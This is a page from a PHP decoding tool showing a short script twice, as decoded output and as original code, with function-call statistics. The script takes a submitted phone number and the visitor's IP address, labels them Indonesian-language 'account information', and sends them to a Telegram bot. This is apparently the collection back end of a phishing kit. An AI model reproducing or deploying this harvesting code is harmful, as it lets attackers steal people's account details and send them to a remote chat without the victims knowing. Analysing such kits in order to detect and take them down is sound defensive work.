Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
session_start(); $XX = json_decode(file_get_contents("Telegram.json")); $id = $XX->id;..
Decoded Output download
<? session_start();
$XX = json_decode(file_get_contents("Telegram.json"));
$id = $XX->id;
$YZ = $XX->Token;
$a = $_POST['nohp'];
$_SESSION['nohp'] = $a;
$ip = $_SERVER['REMOTE_ADDR'];
$sms = "
INFORMASI AKUN
Akun: ". $a . "
Ip: ". $ip ."
";
$curl = curl_init();
// Set the API endpoint URL
$url = "https://api.telegram.org/bot$YZ/sendMessage";
// Set cURL options
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query(array('chat_id' => $id, 'text' => $sms)));
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($curl);
curl_close($curl);
echo $response; ?>
Did this file decode correctly?
Original Code
session_start();
$XX = json_decode(file_get_contents("Telegram.json"));
$id = $XX->id;
$YZ = $XX->Token;
$a = $_POST['nohp'];
$_SESSION['nohp'] = $a;
$ip = $_SERVER['REMOTE_ADDR'];
$sms = "
INFORMASI AKUN
Akun: ". $a . "
Ip: ". $ip ."
";
$curl = curl_init();
// Set the API endpoint URL
$url = "https://api.telegram.org/bot$YZ/sendMessage";
// Set cURL options
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query(array('chat_id' => $id, 'text' => $sms)));
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($curl);
curl_close($curl);
echo $response;
Function Calls
json_decode | 1 |
session_start | 1 |
file_get_contents | 1 |
Stats
MD5 | 58a0db0fb8986051ba48fb0733c18c6f |
Eval Count | 0 |
Decode Time | 42 ms |